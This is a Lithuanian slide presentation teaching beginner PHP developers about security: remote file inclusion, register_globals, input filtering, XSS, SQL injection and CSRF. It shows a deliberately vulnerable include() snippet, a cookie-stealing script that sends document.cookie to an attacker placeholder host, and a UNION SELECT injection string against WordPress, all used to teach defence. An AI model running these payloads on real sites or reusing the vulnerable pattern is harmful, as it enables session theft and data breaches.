

# PHP saugumas

*mano tikslas – ne parodyti pirštu, bet parodyti kryptį...*

*kartais reikia ne tik sumanumo, bet ir paranojos jausmo...*



# *Linus Gricius*

25 metai

VDU Informatikos bakalauras

tema: “XML taikymai turinio valdymo sistemose”

**PHP saugumas**

# *“mano TVS”. Dispatch metodas*

- ⇒ *“kiek programuotojų – tiek ir turinio valdymo sistemų (TVS'ų)”*
- ⇒ *Pamirštama apie saugumą*
- ⇒ *Dažniausiai taikomas metodas – DISPATCH*
- ⇒ *Pradedantieji nežino arba pamiršta apie saugumą:*

```
<?  
    if (isset($_GET['id'])) {  
        include("$_GET[id].php");  
    }  
?>
```



# Dispatch metodas

- ⇒ pavyzdyje paliekama laisvė įterpti svetimą kodą. Tereikia pasinaudoti atitinkama nuoroda, kad ir pvz.

`remote_include.php?id=http://linas.gricius.net/index`

- ⇒ Labiau pažengusieji naudodami šį metodą gali susikurti sistemą, kurioje vienas skriptas priimtų ir apdorotų užklausas.

- ⇒ Nuorodos formavimo pavyzdys

`http://www.bite.lt/plius/bendravimas  
/klubai/2club.welcome/463-=(61705643`



# *register\_globals=ON | OFF?*

➔ Jau nuo PHP 4.2.0, `register_globals = OFF`

t.y. **išjungti pagal nutylėjimą.**

- ➔ Saugaus programavimo praktika reikalauja, kad kodas veiktų su išjungtu globalių kintamųjų palaikymu, vietoj to naudojant globalius masyvus (`$_GET`, `$_POST`, `$_COOKIE`, `$_SESSION`, t.t.).
- ➔ Kodėl nedaudoti globalių? Nes bet koks kintamasis, pasiūstas per GET/POST/COOKIE masyvą yra sukuriamas globaliame masyve. Tai apsunkina saugumo užtikrinimą!!!

*Google! “register\_globals exploit”*



# Gaunamo turinio filtravimas

## ⇒ Save gerbiančio programuotojo galvos skausmas

*vartotojo formos duomenų filtravimas, iš svetimų šaltinių atėjusios informacijos šaltinių filtravimas ir t.t.*

⇒ Kartais reikia ne tik sumanumo, bet ir paranojos jausmo, kad išvengtum problemų.



# *Gaunamo turinio filtravimas*

- ➔ Kokie galimi veiksmai?:
  - a) nieko nedaryti
  - b) filtruoti formas
  - c) filtruoti viską, kas gaunama iš vartotojų
  - d) susirgti paranoja ir filtruoti visą gaunamą ir rodomą turinį
  
- ➔ O jei rimtai – tai pasirašyti funkcijų rinkinį, kuris būtų atsakingas už filtravimą



# *Gaunamo turinio filtravimas*

- ➔ Paskutinė mano girdėta įdomesnė ataka buvo vykdyta per sistemos RSS rodymo sistemą (*kažkas pamiršo filtruoti rodomą turinį*)
- ➔ *Tai pati populiariausia saugumo problema*
- ➔ *Filtruokit ir tikrinkit viską! Pradedant gaunamais GET kintamaisiais, baigiant net RSS naujienų antraštės patikrinimu ar nėra HTML atakos požymių.*



# *Eksperimantas: vagiam sausainukus*

Kad nebūtų nuobodu

Eksperimentas!

Ruošdamasis pranešimui, nutariau pabandyti kaip vagiami “sausainukai”

Google!

```
<script>  
    document.location =  
        'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie  
</script>
```



## *Eksperimanetas: vagiam sausainukus*

- ➔ kas labiausiai pažeidžiama? Svetainės, kurios naudoja informaciją, kuri ateina iš išorės... (forumai, rss ir t.t.)
  - ➔ Goole! - “html injection”



# Klaidų pranešimai ir apdorojimas

- ⇒ Programuojant geriausia naudoti

*error\_reporting(E\_ALL)*

o pabaigus:

*error\_reporting(E\_NONE)*

- ⇒ *Patarimas: naudokite klaidų apdorojimo sistemą. Taip bent jau sumažinama tikimybė, kad nežinot kas pas jus sistemoje darosi*

*(klaidų pranešimų saugojimas, siuntimas el.paštu, lankytojų informavimas)*



# *Sistemas su vidiniais vartotojais*

- ➔ Prisijungimo sistemos patikimumas
- ➔ Ar saugo nuo slaptažodžių perrinkimo atakos?
- ➔ Ar tikrai jungiamasi iš jūsų svetainės?
- ➔ Saugodami “sausainukus”, paskaninkit juos informacija apie lankytojo IP ir naršyklę. Taip sumažinsite riziką, kad bus pasinaudota pavogta sesijos informacija
- ➔ Gal verta pamastyti apie silpnų slaptažodžių tikrinimą?
- ➔ Populiareja reikalavimas įvesti simbolius, kuriuos vartotojui rodo sugeneruotas piešinukas. Gal verta?



# SQL ataka

⇒ Vienas iš pirmų dalykų, ką teko skaityti apie saugumą

⇒ Kaip tai atrodo?

```
index.php?cat=%2527%20UNION%20SELECT%20user_login  
%20FROM%20wp_users
```

*SQL ataka prieš WordPress*

⇒ Tikrinkit ką gaunate iš lankytojų!!!



# Shared hosting

- ⇒ “didelėj fermoj – daug kiaulių”
- ⇒ svarbesni duomenys turi būti koduojami net ir saugant DB
- ⇒ pasikonsultuokit su administratoriais dėl bylų ir katalogų savybių (permissions)

Google! “linux file permissions”

- ⇒ Reikalaukit saugumo iš administratorių! `safe_mode`, `open_base_dir` ir t.t.

Sunkiau, bet saugiau!



# *Shared hosting*

Lyrinis nukrypimas

Sesijos!

# Advanced

- ⇒ Cross-site request forgery (CSRF)  
<http://www.squarefree.com/securitytips/web-developers.html#CSRF>
- ⇒ HTTP request spoofing  
imituojam užklausą
- ⇒ HTTP request split  
filtruoti spec. simbolius!!!  
[http://www.sanctuminc.com/pdf/whitepaper\\_httpresponse.pdf](http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf)



# *Ko galėjau taip ir nepapasakoti?*

- ⇒ Spec. simbolių filtravimas
- ⇒ Socialinis veiksnys
- ⇒ GET ar POST naudoti formoje?
- ⇒ <img ...> panaudojimas atakose
- ⇒ AJAX duomenų apsaugojimas ir saugumas



# Literatūra

- ➔ <http://shiflett.org/articles/security-corner-sep2004> - Chris Shiflett: Security Corner: Secure Design
- ➔ [http://lt.php.net/register\\_globals](http://lt.php.net/register_globals) - PHP: Using Register Globals - Manual
- ➔ <http://phpsec.org/projects/guide/> - Register Globals, Data Filtering, Error Reporting, Spoofed Form Submissions, Spoofed HTTP Requests, Cross-Site Scripting, Cross-Site Request Forgeries
- ➔ <http://www.tux.org/~peterw/csrf.txt> - Cross-Site Request Forgeries
- ➔ <http://www.sklar.com/page/article/owasp-top-ten> - PHP and the OWASP Top Ten Security Vulnerabilities



# Literatūra

- ➔ <http://jibbering.com/2002/4/httprequest.html> - Using the XML HTTP Request object
- ➔ <http://www.devx.com/webdev/Article/28861> - Using the XMLHttpRequest Object and AJAX to Spy On You
- ➔ <http://secureme.blogspot.com/2005/10/ajax-security.html> - \* secureme: AJAX Security?
- ➔ [http://securephp.damonkohler.com/index.php/Email\\_Injection](http://securephp.damonkohler.com/index.php/Email_Injection) – mail() saugumas
- ➔ [http://securephp.damonkohler.com/index.php/Cross\\_Site\\_Scripting\\_Attacks](http://securephp.damonkohler.com/index.php/Cross_Site_Scripting_Attacks) – CSS atakos
- ➔ <http://www.cgisecurity.com/articles/xss-faq.shtml> – XSS atakos



Ačiū už dėmesį.

Klausimai, diskusijos